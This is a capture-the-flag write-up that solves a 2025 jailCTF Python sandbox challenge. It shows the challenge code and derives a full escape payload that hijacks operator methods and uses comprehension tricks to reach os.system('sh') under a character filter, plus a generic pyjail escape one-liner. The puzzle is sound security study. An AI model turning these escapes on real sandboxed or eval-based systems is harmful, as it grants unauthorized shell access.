Free shell

The task of this jail, as with any other jail in the 2025 jailCTF is to ultimately read the flag, a string found in the flag.txt file. Usually this involves somehow getting access to a builtin like breakpoint or exec or somehow importing os.system to break into the shell. The code for this jail read as follows:

#!/usr/local/bin/python3
from os import system

def immutable(cls: type):
    import ctypes
    TP_FLAGS_OFFSET = 21 * tuple.__itemsize__
    Py_TPFLAGS_IMMUTABLETYPE = 1 << 8

    view = ctypes.cast(id(cls) + TP_FLAGS_OFFSET, ctypes.POINTER(ctypes.c_ulong))
    view.contents.value |= Py_TPFLAGS_IMMUTABLETYPE
    assert cls.__flags__ & Py_TPFLAGS_IMMUTABLETYPE != 0

    return cls

@immutable
class SafeBuiltins[system]:
    __slots__ = ()
    __freebie__ = "What's a red herring?"

BANNED = "()[]:='\""

code = input("code: ")

for c in code:
    if c in BANNED:
        print("nope", repr(c))
        exit(1)

eval(code, {'__builtins__': SafeBuiltins()}, {})

Analysis

When this script is run, we are prompted for the code to run, which cannot contain any of the BANNED characters. Then, it is run, with the __builtins__ set to SafeBuiltins. This means that we won't have access to built in functions like breakpoint or exec which could be used to break out easily. This character set restricts heavily what we can do, meaning it will be hard to even call a function!

If you're anything like me, you didn't even know that SafeBuiltins[system] was valid syntax. Shouldn't that be SafeBuiltins(system), to define a subclass? This is actually the type parameter syntax, new in python 3.12. So is this a free shell that we can just grab from the evaluation context?


>>> __builtins__.__class__
<class '__main__.SafeBuiltins'>
>>> __builtins__.__class__.__parameters__[0]
system
>>> #yipeee!
>>> __builtins__.__class__.__parameters__[0]('sh')
Traceback (most recent call last):
  File "<string>", line 1, in <module>
    __builtins__.__class__.__parameters__[0]('sh')
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
TypeError: 'typing.TypeVar' object is not callable
>>> #uh oh...

It turns out the system was actually just a type variable, not the system variable imported from os. So what now? A common formula used when we don't have access to any builtins is ().__class__.__mro__[1].__subclasses__()[122].load_module("os").system("sh"), which you can find in places like the pyjail cheatsheet. It works by first accessing all of the subclasses of object, of which there are a lot! This is because every single class in python implictly subclasses object. The 122nd one happens to be _frozen_importlib.BuiltinImporter (as of the version used in the jail, 3.13.5), which we can then use to import the os class and call system. Right now, this doesn't work because of our banned characters, ()[]"" so we have to find a way to circumvent these restrictions.

Simplifying the problem

At this point I started looking at what would happen if we simplified the problem, removing restrictions until we can solve it. We already have a solution above which would work if there were no banned characters. What happens if we mess with the SafeBuiltins class?

- @immutable
  class SafeBuiltins[system]:
-     __slots__ = ()
     __freebie__ = "What's a red herring?"

Simplifying the problem in this way, we can actually make some progress! The key part thing to notice is that we can use the built in python operators as a proxy to call functions. This is because A + B is internally evaluated as type(A).__add__(A, B). If we can control type(A).__add__, we can control what functions are run! Removing @immutable and __slots__ = () allows us to modify the SafeBuiltins class on the fly.


B = __builtins__ # for clarity    
    
SafeBuiltins = B.__class__

object = [].__class__.__base__
SafeBuiltins.__neg__ = object.__subclasses__

subclasses = -B

SafeBuiltins.__add__ = subclasses.__getitem__

loader = B + 122

SafeBuiltins.__add__ = loader.load_module

os = B + "os"

SafeBuiltins.__add__ = os.system

B + "sh"

We've solved the jail for a much simpler version of the problem we actually need to solve, avoiding the use of parentheses by using these __add__ and __neg__ dunder methods to call functions for us. Now the main problem is the rest of the banned characters, and the fact that the code is run in an eval context, meaning we can't actually use assignment and the equals operator.

Generally, we can avoid = by using list comprehension targets.

# these two lines of code do the same thing
a = b
[... for a in [b]]

# and these two
a.b = c
[... for a.b in [c]]

We can rewrite our code line by line to use list comprehensions instead of assigning directly. This also takes care of the problem of eval, since a list comprehension can be executed in an eval context.


[
    B + "sh"
    for B in [__builtins__]
    for SafeBuiltins in [B.__class__]
    for SafeBuiltins.__neg__ in [[].__class__.__base__.__subclasses__]
    for subclasses in [-B]
    for SafeBuiltins.__add__ in [subclasses.__getitem__]
    for loader in [B + 122]
    for SafeBuiltins.__add__ in [loader.load_module]
    for os in [B + "os"]
    for SafeBuiltins.__add__ in [os.system]
]

We're making progress! Of the banned characters, we're using only []". Getting rid of brackets should be easy, we can change them into braces, turning the list comprehensions into set comprehensions. The singletons also just turn into sets with one element.

Not so fast: it's so close to working. But we run into a single error. The problem is in the 5th line of code: {-B}. Reminder: at this point -B is equal to object.__subclasses__(), which is a list. However, a list is not hashable, so python complains about putting one in a set. This problem took an embarrassing amount of time for me to solve before I realized that we could simply use the operator trick to call tuple on the subclasses, making it a hashable type.


{
    B + "sh"
    for B in {__builtins__}
    for SafeBuiltins in {B.__class__}
    for SafeBuiltins.__neg__ in {{}.__class__.__base__.__subclasses__}
    for tuple in {B.__slots__.__class__}
    for SafeBuiltins.__add__ in {tuple}
    for subclasses in {B+-B}
    for SafeBuiltins.__add__ in {subclasses.__getitem__}
    for loader in {B + 122}
    for SafeBuiltins.__add__ in {loader.load_module}
    for os in {B + "os"}
    for SafeBuiltins.__add__ in {os.system}
}

We're so close! To avoid the strings is also a bit annoying, but not too hard: we can simply find a string that includes all of the characters we need, then just index into it. {}.__doc__ works perfectly.

{
    ...
    
    for SafeBuiltins.__mul__ in {{}.__doc__.__getitem__}
    for s in {B*97}
    for h in {B*280}
    for o in {B*25}
    for sh in {s+h}
    for os in {o+s}

    ...
}

Full problem

Now we've solved the simplified version of this problem. Even before got to this solved version, we were confident that had the builtins class been mutable, we could've gotten to this point. But now what? What do we do when we reintroduce back the @immutable and __slots__? It's a common theme for this object to be something like quit (for example in the cheesed impossible problem, or used for radiation hardening).

Exploring around a bit with dir, we found a an object that fit the bill. Not only did it itself have to be mutable, but it's __class__ as well. This turns out to be SafeBuiltins.__orig_bases__[0], of type typing.Generic. Replacing SafeBuiltins with the class we just found, we get the final solution:


{
    W+sh
    for W in __builtins__.__class__.__orig_bases__
    for W.__class__.__mul__ in {{}.__doc__.__getitem__}
    for s in {W*97}
    for h in {W*280}
    for o in {W*25}
    for sh in {s+h}
    for os in {o+s}
    for O in {{}.__class__.__base__}
    for T in {__builtins__.__slots__.__class__}
    for W.__class__.__add__ in {T}
    for W.__class__.__neg__ in {O.__subclasses__}
    for subclasses in {W+-W}
    for W.__class__.__add__ in {subclasses.__getitem__}
    for loader in {W+122}
    for loader in {loader.load_module}
    for W.__class__.__add__ in {loader.__call__}
    for module in {W+os} for W.__class__.__add__ in {module.system}
}

Running the script, then cat flag.txt reveals the flag.

jail{who_uses_setcomps_ever?_c21b2ee0b71}

In the competition, this problem was solved by 3 other teams, making it one of the harder problems. If you're wondering about __freebie__, ultimately it was just a red herring :P